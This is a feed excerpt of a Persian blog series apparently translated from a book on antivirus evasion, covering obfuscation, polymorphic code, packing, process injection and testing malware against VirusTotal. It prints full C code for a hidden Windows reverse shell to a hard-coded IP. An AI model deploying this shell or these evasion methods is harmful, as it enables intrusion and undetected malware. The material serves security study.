کرد:خلاصهدر این فصل از کتاب، با سایر تکنیک‌های دور زدن آنتی‌ویروس آشنا شدیم که می‌توانند به‌طور بالقوه برای دور زدن هر دو موتور استاتیک و داینامیک استفاده شوند.تکنیک‌هایی که در این فصل ارائه شدند شامل پچ‌کردن باینری، کد زائد (Junk Code)، PowerShell و استفاده از یک قابلیت مخرب واحد بودند.در تکنیک پچ‌کردن باینری، با مبانی مهندسی معکوس برنامه‌های مبتنی بر ویندوز x86 و تکنیک تایم‌استمپینگ (Timestomping) آشنا شدیم که برای دست‌کاری زمان‌مُهر (Timestamp) فایل‌های اجرایی استفاده می‌شود.در تکنیک کد زائد (Junk Code)، استفاده از دستورات شرطی if را توضیح دادیم که باعث انحراف مکانیزم تشخیص آنتی‌ویروس می‌شوند.در تکنیک PowerShell، از ابزار PowerShell برای دور زدن آنتی‌ویروس استفاده کردیم.و در تکنیک استفاده از یک قابلیت مخرب واحد، یک سؤال مهم را برای درک بهتر دیدگاه موتور تشخیص آنتی‌ویروس مطرح کردیم و سپس با یک مثال عملی به آن پاسخ دادیم.در فصل بعدی، یاد خواهیم گرفت که با تکنیک‌های دور زدن آنتی‌ویروسی که تاکنون در این کتاب آموخته‌ایم، چه کارهایی می‌توان انجام داد.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Mon, 29 Dec 2025 14:49:39 +0330</pubDate>
            </item>
                    <item>
                <title>آنتی ویروس قسمت پنجم:</title>
                <link>https://virgool.io/@m_14047363/%D8%A2%D9%86%D8%AA%DB%8C-%D9%88%DB%8C%D8%B1%D9%88%D8%B3-%D9%82%D8%B3%D9%85%D8%AA-%D9%BE%D9%86%D8%AC%D9%85-u7hogmthqcym</link>
                <description>دور زدن موتور استاتیک در این فصل، به طور عملی به دور زدن موتورهای تشخیص استاتیک آنتی ویروس خواهیم پرداخت. ما استفاده از تکنیک های مختلف مبهم سازی را یاد خواهیم گرفت که می توانند برای دور زدن موتورهای آنتی ویروس ساکن به طور بالقوه مورد استفاده قرار گیرند. علاوه بر این، ما به درک استفاده از تکنیک های رمزگذاری مختلف مانند کدهای مبتنی بر الیگومورفیک، چند شکلی و دگرگونی خواهیم پرداخت که می توانند برای دور زدن موتورهای آنتی ویروس استاتیک به طور بالقوه مورد استفاده قرار گیرند. همچنین نشان خواهیم داد که چگونه تکنیک های بسته بندی و مبهم سازی در کدهای مخرب برای دور زدن بیشتر موتورهای استاتیک در نرم افزار آنتی ویروس استفاده می شود. در این فصل به بررسی موضوعات زیر می پردازیم: • دور زدن آنتی ویروس با استفاده از مبهم سازی • دور زدن آنتی ویروس با استفاده از رمزگذاری • دور زدن آنتی ویروس با استفاده از بسته بندیالزامات فنی برای دنبال کردن موضوعات فصل به موارد زیر نیاز دارید: . سابقه کار در نرم افزار آنتی ویروس . درک اولیه از تشخیص فایل های اجرایی قابل حمل مخرب (PE). . درک اولیه زبان های برنامه نویسی C/C++ یا Python . دانش اولیه زبان اسمبلی x86 . خوب است: تجربه استفاده از دیباگر و جداکنندههایی مانند Interactive Disassembler Pro (IDA Pro) و x64dbgدور زدن آنتیویروس با استفاده از مبهمسازیمبهمسازی یک تکنیک ساده برای تغییر شکل کد، مانند کد منبع یا بایتکد، است تا خوانایی آن کاهش یابد. برای مثال، یک فایل Android Package Kit (APK) را میتوان بهراحتی دیکامپایل کرد تا به کد Java قابلخواندن تبدیل شود.در اینجا یک نمونه از فرآیند دیکامپایل نشان داده شده است:یک توسعهدهنده برنامه نمیخواهد افراد غیرمجاز کد آنها را ببینند، بنابراین توسعهدهنده از تکنیک مبهمسازی برای محافظت از کد و غیرقابل خواندن آن استفاده میکند. چندین تکنیک مبهم سازی وجود دارد. این دو تکنیک اصلی است که ما در تحقیق خود استفاده کرده ایم: . تغییر نام مبهم . کنترل جریان مبهم بیایید هر دوی این تکنیک ها را با جزئیات بررسی کنیم.تغییر نام مبهم با این تکنیک، مبهم سازی عمدتاً روی نام متغیرهای درون کد انجام می شود. این تکنیک خواندن و درک کد و همچنین درک نام متغیرها و زمینه آنها را در خود کد دشوار می کند. پس از مبهم سازی، نام متغیر ممکن است حروفی مانند &quot;A&quot;، &quot;B&quot;، &quot;C&quot; و &quot;D&quot;، اعداد، کاراکترهای غیرقابل چاپ و غیره باشد.کنترل جریان مبهم مبهم سازی جریان کنترل کد منبع اصلی را به کد پیچیده، ناخوانا و نامشخص تبدیل می کند. به عبارت دیگر، مبهم سازی کنترل جریان کد ساده را به کد اسپاگتی تبدیل می کند! به عنوان مثال، در اینجا مقایسه ای بین کد قبل از مبهم سازی جریان کنترل و همان کد پس از انجام مبهم سازی جریان کنترل وجود دارد.هنگام استفاده از یکی از این تکنیکهای مبهمسازی برای دور زدن نرمافزارهای آنتیویروس، موتوری که دور زده میشود، موتور استاتیک است.برای درک دقیق اینکه چرا موتور استاتیک همان بخشی است که دور زده میشود، لازم است برخی از امضاهای استاتیک را بررسی کنیم.از آنجایی که این توضیح بر امضاهای مبتنی بر YARA متمرکز خواهد بود، بهتر است ابتدا کمی با YARA آشنا شویم تا درک بهتری از امضاهای استاتیک به دست آوریم.مقدمهای بر YARAYARA یک ابزار متنباز و چندسکویی است که در درجهٔ اول برای کمک به پژوهشگران بدافزار طراحی شده تا نمونههای بدافزار را شناسایی و دستهبندی کنند. این ابزار یک روش مبتنی بر قانون (Rule-based) برای ایجاد توصیفهای انواع بدافزار بر اساس الگوهای متنی و باینری ارائه میدهد. امروزه YARA بهطور گسترده توسط پژوهشگران امنیتی، تحلیلگران بدافزار، محققان جرمیابی دیجیتال، تیمهای پاسخگویی به رخداد و البته توسط شرکتهای تولیدکنندهٔ آنتیویروس بهعنوان بخشی از موتورهای شناسایی آنها استفاده میشود.در نگاه اولیه به YARA ممکن است فکر کنید که ابزاری ساده است، اما ما YARA را از آن دسته ابزارهایی میدانیم که نبوغشان در سادگیشان نهفته است. این ابزار یک «چاقوی سوئیسی» برای تطبیق الگو است که با استفاده از امضاهای ازپیشنوشتهشده—که عمدتاً توسط پژوهشگران امنیتی و تحلیلگران بدافزار ایجاد شدهاند—الگوها را در فایلها و در دامپهای متنی سادهٔ حافظه شناسایی میکند.بیایید کمی جلوتر برویم تا درک بهتری از نحوهٔ عملکرد YARA به دست آوریم.چگونه YARA بدافزار بالقوه را شناسایی می کند YARA یک ابزار تطبیق الگوی مبتنی بر قانون است که اگر آن را به درستی بنویسیم، میتواند بدافزار بالقوه را شناسایی کرده و حتی آن را در مقیاس وسیعتری شکار کند. نرم افزار آنتی ویروس اغلب YARA را در موتورهای استاتیک خود، به ویژه برای تشخیص های مبتنی بر فایل، ترکیب می کند. به عنوان مثال، اگر بدافزاری مانند باجافزار WannaCry برای الگوهای مخرب و شناختهشده توسط قوانین از پیش نوشته شده YARA اسکن شود، میتوان آن را به طور بالقوه شناسایی کرد و آنتی ویروس از اجرای آن در سیستم مورد نظر جلوگیری میکند.YARA - بلوک های ساختمانی قوانین YARA با کلمه rule شروع می شود و به دنبال آن نام قانون می آید. به طور کلی، نام قوانین توصیفی است و بر اساس نوع بدافزار و سایر پارامترها است. در مرحله بعد، بدنه قوانین با براکت های فرفری (پرانتز) قبل و دنبال می شود، همانطور که در قاعده زیر مشاهده می شود. بخش پرانتزی قوانین YARA شامل دو بخش فرعی مهم است: رشته ها و شرط.بخش رشته ها شامل الگوها، رشته ها، مقادیر هگزادسیمال (هگز) و کد عملیاتی (opcode) است که می خواهیم در فایل های مخرب شناسایی کنیم. بخش شرط یک بخش منطقی است که شرایطی را تعریف می کند که تحت آن قانون یک الگو را در یک فایل شناسایی یا مطابقت می دهد و نتیجه واقعی را ارائه می دهد. بخش متا، که در بالای بخشهای دیگر ظاهر میشود، اختیاری است و برای توصیف قوانین نوشته شده و توضیح هدف آنها استفاده میشود. مثال شبه زیر به شما کمک می کند تا هر یک از این بخش ها را درک کنید:این مثال شامل عناصر زیر است که آن را به یک قانون اساسی و صحیح YARA تبدیل می کند: 1. نام قانون با استفاده از کلمه rule تعریف می شود. 2. ما از بخش met a برای توصیف هدف این قانون استفاده کرده ایم. 3. بخش رشته ها سه متغیر را تعریف می کند که هر کدام یک الگوی بالقوه برای مطابقت و شناسایی در فایل های مخرب احتمالی ارائه می کنند. (توجه داشته باشید که ما از کلمه کلیدی nocase در متغیر $a2 استفاده کردهایم تا YARA با الگوی رشته مطابقت داشته باشد. 4. بخش شرط، شرایطی را تعریف می کند که برای مخرب در نظر گرفتن یک فایل باید رعایت شوند.نکتهٔ مهمبرای نوشتن یک امضای YARA خوب، بسیار مهم است که چندین نمونه (Variant) از بدافزاری را که قصد شناسایی و شکار آن را دارید بررسی کنید. همچنین ضروری است که قانون YARA را آزمایش کرده و مطمئن شوید که هیچگونه مثبت کاذب (برای مثال، تشخیص اشتباه) ایجاد نمیکند.اکنون که با مبانی YARA آشنا شدیم، میتوانیم به بررسی نحوهٔ استفادهٔ آن در دنیای واقعی بپردازیم.نمونهٔ امضای YARA – باجافزار Lockyدر این مثال، خواهیم دید که چگونه یک امضای YARA میتواند باجافزار Locky را شناسایی کند. قطعهکد زیر یک امضای YARA را نشان میدهد که برای شناسایی فایل اجرایی (EXE) مربوط به Locky نوشتهایم:این قانون YARA با استفاده از هدر پایهٔ Disk Operating System &#40;DOS&#41; و تمام رشتههای استفادهشده در بخش strings، باجافزار Locky را شناسایی میکند.برای بررسی اینکه آیا این امضا واقعاً با فایل باجافزار Locky تطابق دارد و آن را شناسایی میکند یا نه، باید دستور زیر را اجرا کنیم:دور زدن موتور استاتیک – مثال عملیمثال زیر استفاده از کدی نسبتاً ساده را نشان میدهد که یک شل معکوس مبتنی بر پروتکل کنترل انتقال (TCP) را به یک شنوندهٔ Netcat، بر اساس یک آدرس پروتکل اینترنت (IP) و پورت از پیش تعریفشده، باز میکند#include &lt;winsock2.h&gt;
#include &lt;windows.h&gt;
#include &lt;ws2tcpip.h&gt;

#pragma comment(lib, &quot;Ws2_32.lib&quot;)

#define DEFAULT_BUFLEN 1024

void ExecuteShell(char* C2Server, int C2Port)
{
    while (true)
    {
        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;

        WSAStartup(MAKEWORD(2, 2), &amp;version);

        mySocket = WSASocket(
            AF_INET,
            SOCK_STREAM,
            IPPROTO_TCP,
            NULL,
            (unsigned int)NULL,
            (unsigned int)NULL
        );

        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = inet_addr(C2Server);
        addr.sin_port = htons(C2Port);

        if (WSAConnect(
                mySocket,
                (SOCKADDR*)&amp;addr,
                sizeof(addr),
                NULL,
                NULL,
                NULL,
                NULL
            ) == SOCKET_ERROR)
        {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else
        {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));

            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode &lt;= 0)
            {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else
            {
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;

                memset(&amp;sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
                sinfo.hStdInput =
                sinfo.hStdOutput =
                sinfo.hStdError = (HANDLE)mySocket;

                char Process[] = &quot;cmd.exe&quot;;

                CreateProcess(
                    NULL,
                    Process,
                    NULL,
                    NULL,
                    TRUE,
                    0,
                    NULL,
                    NULL,
                    &amp;sinfo,
                    &amp;pinfo
                );

                WaitForSingleObject(pinfo.hProcess, INFINITE);

                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));

                RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode &lt;= 0)
                {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }

                if (strcmp(RecvData, &quot;exit\n&quot;) == 0)
                {
                    exit(0);
                }
            }
        }
    }
}

int main(int argc, char** argv)
{
    FreeConsole();

    if (argc == 3)
    {
        int port = atoi(argv[2]);
        ExecuteShell(argv[1], port);
    }
    else
    {
        char host[] = &quot;192.168.1.10&quot;;
        int port = 443;
        ExecuteShell(host, port);
    }
    return 0;
}این کد سه عملکرد دارد: main () که محل شروع برنامه است، FreeConsole () که فرآیند فراخوانی را از کنسول خود جدا می کند و ExecuteShell () که پوسته معکوس را اجرا می کند.دور زدن آنتی ویروس با استفاده از رمزگذاریرمزگذاری کد یکی از رایج ترین راه ها برای موفقیت با دور زدن و یکی از کارآمدترین روش ها برای پنهان کردن کد منبع است. با استفاده از رمزگذاری، عملکرد مخرب بدافزار به عنوان یک کد بی ضرر ظاهر می شود و گاهی اوقات کاملاً بی ربط به نظر می رسد، به این معنی که نرم افزار آنتی ویروس با آن برخورد می کند و به بدافزار اجازه می دهد تا با موفقیت بر روی سیستم اجرا شود. اما قبل از اینکه بدافزار شروع به اجرای عملکرد مخرب خود کند، باید کد خود را در حافظه زمان اجرا رمزگشایی کند. تنها پس از رمزگشایی بدافزار، کد برای شروع اقدامات مخرب خود آماده می شود. نمودار زیر تفاوت بین یک فایل EXE با و بدون رمزگذاری را نشان می دهد:برای استفادهٔ صحیح از تکنیکهای رمزنگاری کد، لازم است با چند زیرتکنیک پایه آشنا باشید که ما هنگام نگارش این کتاب از آنها استفاده کردهایم. این زیرتکنیکها عبارتاند از:• کد الیگومورفیک (Oligomorphic code)• کد پلیمورفیک (Polymorphic code)• کد متامورفیک (Metamorphic code) — این مورد لزوماً یک تکنیک رمزنگاری کد نیست، اما برای تأکید بر تفاوتها آن را در این دسته قرار دادهایمبیایید این سه زیرتکنیک را بیشتر بررسی کنیم.کد الیگومورفیککد الیگومورفیک شامل چندین رمزگشا (Decryptor) است که بدافزار میتواند از آنها استفاده کند. هر بار که روی سیستم اجرا میشود، بهصورت تصادفی یک رمزگشای متفاوت را برای رمزگشاییِ خود انتخاب میکند؛ همانطور که در نمودار زیر نشان داده شده است:برای سادهتر شدن توضیح، در این نمودار هفت راه برای انجام مکانیزم رمزگشایی نشان دادهایم، اما در واقعیت، بدافزار میتواند 50، 100 و حتی چند صد نوع رمزگشا داشته باشد که میتواند از آنها برای انجام رمزگشایی روی خود استفاده کند. این عدد هرگز ثابت نمیشود، اما به دلیل تعداد محدودی از رمزگشاهایی که کد الیگومورفیک استفاده میکند، هنوز امکان شناسایی با استفاده از امضاهای استاتیک وجود دارد. کد چند شکلی کد چند شکلی پیشرفته تر از کد الیگومورفیک است. کد Polymorphic بیشتر از یک موتور چند شکلی استفاده می کند که معمولاً دو نقش دارد. نقش اول انتخاب رمزگشا برای استفاده است و نقش دوم بارگذاری کد منبع مربوطه است تا کد رمزگذاری شده با رمزگشای انتخاب شده مطابقت داشته باشد.تعداد رمزگشاها بسیار بیشتر از کد الیگومورفیک خواهد بود. در واقع، این تعداد میتواند به صدها هزار برسد و در موارد شدید حتی به میلیونها رمزگشای مرتبط نیز افزایش یابد، اما نتیجهٔ مخرب بدافزار همواره یکسان است.نمونهای از این موضوع را میتوانید در نمودار زیر مشاهده کنید:این نمودار نمونه نوع خاصی از بدافزار را نشان می دهد که دارای 15 روش مختلف برای دستیابی به یک عملکرد مخرب واحد است. می بینیم که هر بار که بدافزار اجرا می شود، موتور چند شکلی را فراخوانی می کند و رمزگشایی را انتخاب می کند که قرار است از آن برای اجرای رمزگشایی استفاده کند. بر اساس این انتخاب، کد منبع مربوطه را بارگیری می کند و سپس خود را دوباره کامپایل می کند، بنابراین از شناسایی توسط موتور ثابت نرم افزار آنتی ویروس جلوگیری می کند. این نمودار نیز کمی با بدافزار در دنیای واقعی متفاوت است. در دنیای واقعی، بیش از 15 رمزگشا وجود دارد. در واقع، تعداد نامحدودی از روش های مختلف برای دستیابی به عملکرد مخرب آن وجود دارد.کد دگرگونی کد دگرگونی کدی است که هدف آن تغییر محتوای بدافزار در هر بار اجراست و در نتیجه باعث جهش خود می شود. به عنوان مثال، این تغییر می تواند به گونه ای باشد که بدافزار شرایط و متغیرهای کاملاً بی فایده و بدون تأثیری بر عملکرد آن به خود اضافه کند، دستورالعمل های دستگاه را تغییر دهد، دستورالعمل های هیچ عملیاتی (NOP) را در مکان های مختلف به خود اضافه کند و موارد دیگر. نمودار زیر نمونه ای از جهش بدافزار را با استفاده از کد دگرگونی نشان می دهد:در این نمودار سه نسخه از یک کد را در زبان اسمبلی x86 مشاهده می کنیم. با هر جهش، کد متفاوت به نظر می رسد، اما نتیجه همیشه یکسان است. از آنجایی که نتیجه جهش با بدافزار اصلی یکسان است، میتوان بدافزار مبتنی بر دگرگونی را با استفاده از موتور اکتشافی شناسایی کرد. این سه تکنیک فرعی بسیار قدرتمند هستند و می توانند به عنوان بخشی از زرادخانه تکنیک های بای پس آنتی ویروس ما استفاده شوند. بیایید به تکنیک بعدی که در طول تحقیقات خود استفاده کردیم برویم: بسته بندی.دور زدن آنتیویروس با استفاده از پَککردن (Packing)پَکرها برنامههایی هستند که اغلب برای فشردهسازی کد در فایلهای باینری (عمدتاً فایلهای EXE) استفاده میشوند. اگرچه این برنامهها بهخودیِ خود مخرب نیستند و حتی میتوانند برای اهداف مفید گوناگونی به کار روند، نویسندگان بدافزار معمولاً از پَکرها برای پنهانسازی نیت کد خود استفاده میکنند؛ کاری که پژوهش بدافزار را دشوارتر کرده و بهطور بالقوه به کد آنها کمک میکند تا موتورهای استاتیک آنتیویروس را دور بزند.این بخش از کتاب، تفاوتهای اصلی بین فایلهای اجرایی معمولی و فایلهای اجرایی پَکشده را معرفی میکند، نحوهٔ شناسایی پَکرها را بررسی میکند و توضیح میدهد چگونه میتوان آنها را خنثی کرد. محور اصلی این موضوع، درک اهمیت و نگهداری موتورهای آنپَک (Unpacking) است که توسط انواع مختلف نرمافزارهای آنتیویروس استفاده میشوند.بسته بندی ها چگونه کار می کنند برای توضیح نحوه کار پکرها، یک فایل ساده &quot;Hello World.exe&quot; را از طریق دو بسته بندی مختلف، Ultimate Packer برای فایل های اجرایی (UPX) و ASPack اجرا می کنیم که هر کدام از آنها از تکنیک بسته بندی متفاوتی استفاده می کنند. به طور کلی، بستهکنندهها با گرفتن یک فایل EXE و مبهم کردن و فشردهسازی بخش کد (بخش متن.) با استفاده از یک الگوریتم از پیش تعریفشده کار میکنند. پس از این، بستهکنندهها منطقهای را در فایلی به نام خرد اضافه میکنند که هدف آن باز کردن بسته نرمافزار یا بدافزار در حافظه زمان اجرا سیستم عامل و انتقال اجرا به نقطه ورودی اصلی (OEP) است. OEP نقطه ورود است که در ابتدا به عنوان شروع اجرای برنامه قبل از انجام بسته بندی تعریف شده است. هدف اصلی نرمافزار آنتیویروس تشخیص نوع بستهبندی استفادهشده، باز کردن نمونه با استفاده از تکنیکهای مناسب برای هر بستهبندی با استفاده از موتور باز کردن بستهبندی آن، و سپس طبقهبندی فایل بدون بستهبندی به عنوان «مضر» یا «خوشخیم» است.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Mon, 29 Dec 2025 09:43:23 +0330</pubDate>
            </item>
                    <item>
                <title>آنتی ویروس قسمت چهارم:</title>
                <link>https://virgool.io/@m_14047363/%D8%A2%D9%86%D8%AA%DB%8C-%D9%88%DB%8C%D8%B1%D9%88%D8%B3-%D9%82%D8%B3%D9%85%D8%AA-%DA%86%D9%87%D8%A7%D8%B1%D9%85-sw68t4r70lp0</link>
                <description>دور زدن موتور داینامیک (Dynamic Engine)در این فصل، با مبانی دور زدن موتور داینامیک یک نرمافزار آنتیویروس آشنا میشوید.یاد میگیریم چگونه از VirusTotal و سایر پلتفرمهای تشخیص موتورهای آنتیویروس استفاده کنیم تا مشخص شود کدام آنتیویروسها را موفق شدهایم دور بزنیم.همچنین به درک و پیادهسازی تکنیکهای مختلف دور زدن آنتیویروس میپردازیم؛ تکنیکهایی که میتوانند بهطور بالقوه موتورهای آنتیویروس را دور بزنند، مانند تزریق پردازش (Process Injection)، استفاده از کتابخانه پیوند پویا (DLL) و تکنیکهای مبتنی بر زمانبندی (Timing-based) برای دور زدن بیشتر نرمافزارهای آنتیویروس موجود.در این فصل، به درکی عملی از تکنیکهای دور زدن آنتیویروس دست پیدا میکنید و موضوعات زیر را بررسی خواهیم کرد:. The preparation . VirusTotal . Antivirus bypass using process injection . Antivirus bypass using a DLL . Antivirus bypass using timing-based techniquesآماده سازی برخلاف هنگام جستجوی آسیبپذیریها و بهرهبرداری از آنها، تکنیکهای بایپس عمدتاً با تحقیقات آسیبپذیری موتور آنتیویروس سروکار ندارند. در عوض، آنها بیشتر با نوشتن بدافزارهایی سروکار دارند که حاوی تعدادی تکنیک دور زدن هستند و سپس بدافزار حاوی این تکنیک ها را در برابر موتورهای آنتی ویروسی که ما به دنبال دور زدن آن هستیم، آزمایش می کنند. به عنوان مثال، اگر بخواهیم آسیب پذیری خاصی را در یک موتور آنتی ویروس پیدا کنیم، باید موارد زیر را رعایت کنیم: 1. ما باید سرنخ های تحقیقاتی را جمع آوری کنیم. سپس، برای هر لید، باید مشخص کنیم که لید چه کاری انجام میدهد، چه زمانی شروع به اجرا میکند، آیا یک سرویس است، آیا زمانی که یک فایل را اسکن میکنیم شروع به اجرا میکند یا خیر، و آیا یک DLL است که به همه فرآیندها تزریق میشود، به همراه بسیاری از سؤالات بیشتر برای کمک به تحقیق ما. 2. پس از آن، باید بفهمیم که به دنبال کدام آسیبپذیری هستیم، و تنها در این صورت است که میتوانیم واقعاً شروع به تحقیق در مورد نرمافزار آنتیویروس برای یافتن آسیبپذیری کنیم.3. برای استفاده از تکنیک بای پس، ابتدا باید سرنخ های تحقیقاتی را جمع آوری کنیم و پس از آن، شروع به نوشتن کد بدافزاری می کنیم که حاوی چندین تکنیک بای پس مرتبط است.4. سپس مرحله آزمون و خطا را با بدافزاری که نوشته ایم آغاز می کنیم. آزمایش اینکه آیا میتواند نرمافزار آنتیویروس را دور بزند یا خیر و بر این اساس نتیجهگیری میکند.هنگامی که یک تکنیک خاص موفق به دور زدن نرم افزار آنتی ویروس خاص می شود، همیشه ایده خوبی است که بدانیم چرا موفق شد و کدام موتور در نرم افزار آنتی ویروس دور زده شده است (استاتیک، پویا یا اکتشافی). ما میتوانیم این درک را در مورد سرنخهایی که برای انجام مهندسی معکوس جمعآوری کردهایم اعمال کنیم تا مطمئن باشیم که این تکنیک واقعاً در دور زدن موتور موفق است. البته در پایان این فرآیند، گزارش بای پس به فروشنده نرم افزار و پیشنهاد راهکارهایی برای بهبود نرم افزار آنتی ویروس آنها ضروری است.نکات اساسی برای تحقیق دور زدن آنتی ویروس قبل از شروع تحقیق دور زدن آنتی ویروس، در اینجا چند نکته مهم وجود دارد که باید در نظر داشته باشید: . از آخرین نسخه نرم افزار آنتی ویروس استفاده کنید. . پایگاه داده امضا را به جدیدترین نسخه به روز کنید تا مطمئن شوید که جدیدترین امضاهای ثابت را دارید. . در حین انجام تحقیق، اتصال اینترنت را خاموش کنید، زیرا ما نمی خواهیم نرم افزار آنتی ویروس با یک سرور خارجی ارتباط برقرار کند و تکنیک بای پسی را که ما کشف کرده ایم امضا کند. . از جدیدترین نسخه سیستم عامل با آخرین پایگاه دانش (KB) استفاده کنید تا بای پس موثر باشد. اکنون که با موضوع تحقیق دور زدن آنتی ویروس آشنا شدیم، بیایید با اهمیت استفاده از VirusTotal و سایر پلتفرم ها به عنوان بخشی از تحقیقات خود آشنا شویم.ویروس توتال در این کتاب و به طور کلی در تحقیق در مورد تکنیک های بای پس آنتی ویروس، از پلتفرم هایی مانند ویروس توتال بسیار استفاده خواهیم کرد.یک پلت فرم اسکن بدافزار بسیار شناخته شده و محبوب است. ویروس توتال شامل موتورهای تشخیص سازندگان مختلف امنیتی است که میتوان آنها را هنگام آپلود فایلها بررسی کرد تا بررسی شود که آیا این موتورهای شناسایی فایلی را به عنوان بدافزار یا حتی مشکوک تشخیص میدهند، مقادیر جستجویی مانند Uniform Resource Locator (URL)، آدرسهای پروتکل اینترنت (IP) و هش فایلهای قبلاً آپلود شده. VirusTotal بسیاری از ویژگیهای بیشتر را فراهم میکند، مانند نمودار VirusTotal، که توانایی بررسی روابط فایلها، URLها و آدرسهای IP و ارجاع متقابل بین آنها را فراهم میکند. پلتفرمهایی مانند VirusTotal برای درک اینکه آیا بدافزار ما که مبتنی بر برخی از تکنیکهای بایپس ما است، واقعاً بخشی یا حتی تمام موتورهای آنتیویروس موجود در پلتفرم مربوطه را دور میزند بسیار مفید هستند. علاوه بر این، اگر بدافزار ما در یک یا چند موتور آنتی ویروس شناسایی شود، نام امضایی که بدافزار ما را شناسایی کرده است به ما ارائه می شود تا بتوانیم از آن درس بگیریم و مطابق با آن سازگار شویم. صفحه اصلی VirusTotal در تصویر زیر نشان داده شده است:وقتی فایلی را در VirusTotal آپلود می کنیم، سایت فایل را برای بسیاری از موتورهای آنتی ویروس ارسال می کند تا بررسی کند که آیا فایل مخرب است یا خیر. اگر هر موتوری فایل را به عنوان یک فایل مخرب شناسایی کرده باشد، Virus Total نام نرم افزار آنتی ویروسی را که بدافزار را شناسایی کرده است، به ما نشان می دهد و نام امضا را با رنگ قرمز مشخص می کند. هنگامی که یک فایل را در VirusTotal آپلود کردیم، Virus Total بررسی می کند که آیا هش از قبل در پایگاه داده آن وجود دارد یا خیر. در این صورت، آخرین نتایج اسکن را نشان می دهد، و در غیر این صورت، ویروس توتال فایل را ارسال می کند تا بررسی کند که آیا فایل مخرب است یا خیر. به عنوان مثال، در اینجا فایلی وجود دارد که توسط VirusTotal به عنوان بدافزار در چندین موتور آنتی ویروس شناسایی شده است:به منظور شناسایی بهتر بدافزارها، VirusTotal شامل یک سندباکس داخلی به نام Virus Total Jujubox است. VirusTotal Jujubox یک سندباکس تحلیل رفتار مبتنی بر ویندوز است که نتایج خود را به عنوان یک گزارش، به عنوان بخشی از نتایج بسیاری از فایلهای اسکن شده نشان میدهد.جعبه شنی Jujubox اطلاعات رفتاری مهمی را در رابطه با اجرای فایلهای مخرب استخراج میکند، از جمله عملیات ورودی/خروجی فایل (I/O)، تعاملات رجیستری، فایلهای حذف شده، عملیات mutex، ماژولهای بارگذاریشده مانند DLL و فایلهای اجرایی، هش کردن JA3 و استفاده از واسط برنامهنویسی برنامه کاربردی Windows (Application Programming Interface). علاوه بر این، از رهگیری ترافیک شبکه از جمله تماسهای پروتکل انتقال ابرمتن (HTTP)، رزولوشنهای سیستم نام دامنه (DNS)، اتصالات پروتکل کنترل انتقال (TCP)، استفاده از الگوریتمهای تولید دامنه (DGAs)، ارائه یک تخلیه از فایلهای ضبط بسته (PCAP) و موارد دیگر پشتیبانی میکند. برای نمایش نتایج کامل سندباکس Jujubox، باید به تب BEHAVIOR بروید، روی VirusTotal Jujubox کلیک کنید و سپس بر روی گزارش کامل، همانطور که در تصویر زیر نشان داده شده است، کلیک کنید:پس از آن، یک پنجره جدید باز میشود که شامل جزئیات استخراجشده از VirusTotal Jujubox خواهد بود؛ برای مثال فراخوانیهای API ویندوز (Windows API Calls)، درخت پردازشها (Process Tree)، اسکرینشاتها و موارد دیگر، همانطور که در اسکرینشات زیر نشان داده شده است:دور زدن آنتی ویروس با استفاده از تزریق فرآیند یکی از چالش های اصلی نویسندگان بدافزار مخفی کردن بدافزار از نرم افزار آنتی ویروس و کاربران است. این یک چالش آسان نیست. در اصل، نویسندگان بدافزار بر تکنیک ساده تغییر نام بدافزار به نام فایل قانونی که باعث ایجاد سوء ظن در سیستم می شود، مانند svchost.exe یا lsass.exe تکیه می کردند. این تکنیک بر روی کاربران عادی که فاقد درک اولیه و پیشینه کامپیوتر و فناوری بودند، کار می کرد، اما البته، روی کاربران آگاه با درک نحوه عملکرد سیستم عامل ها و نرم افزارهای آنتی ویروس کار نمی کرد. اینجاست که تکنیک فرآیند تزریق وارد تصویر می شود.تزریق فرآیندی چیست؟ تزریق فرآیند یکی از رایج ترین تکنیک هایی است که برای دور زدن موتورهای آنتی ویروس به صورت پویا استفاده می شود. بسیاری از فروشندگان آنتی ویروس و توسعه دهندگان نرم افزار برای بررسی فرآیندهای در حال اجرا بر روی سیستم به اصطلاح به تزریق فرآیند یا تزریق کد متکی هستند. با استفاده از تزریق فرآیند، میتوانیم کدهای مخرب را به فضای آدرس یک فرآیند قانونی در سیستم عامل تزریق کنیم، در نتیجه از شناسایی موتورهای آنتی ویروس پویا جلوگیری میکنیم. در اکثر مواقع، دستیابی به این هدف به ترکیب خاصی از فراخوانی های API ویندوز نیاز دارد. در حین نوشتن این کتاب ما از حدود پنج روش برای انجام این کار استفاده کردیم، اما سه روش اساسی از این تکنیک ها را برای تزریق کد به یک فرآیند هدف توضیح خواهیم داد. شایان ذکر است که اکثر موتورهای آنتی ویروس این عمل را به منظور بررسی کدهای مخرب در فرآیندهای در حال اجرا در سیستم عامل اجرا می کنند. اما این تنها فروشندگان آنتی ویروس نیستند که از این توانایی سوء استفاده می کنند، بلکه عوامل تهدید نیز از آن برای تزریق کد مخرب خود برای اهدافی مانند ورود به سیستم ضربه زدن به کلید، پنهان کردن حضور بدافزار تحت سایر فرآیندهای قانونی، قلاب کردن و دستکاری توابع و حتی به منظور دسترسی به سطوح امتیاز افزایش یافته سوء استفاده می کنند. قبل از اینکه بفهمیم تزریق فرآیند چیست، باید در مورد مفهوم فضای آدرس فرآیند بدانیم.فضای آدرس فرآیند فضای آدرس فرآیند فضایی است که بر اساس میزان حافظه رایانه به هر فرآیند در سیستم عامل اختصاص داده می شود. به هر فرآیندی که فضای حافظه اختصاص داده می شود مجموعه ای از 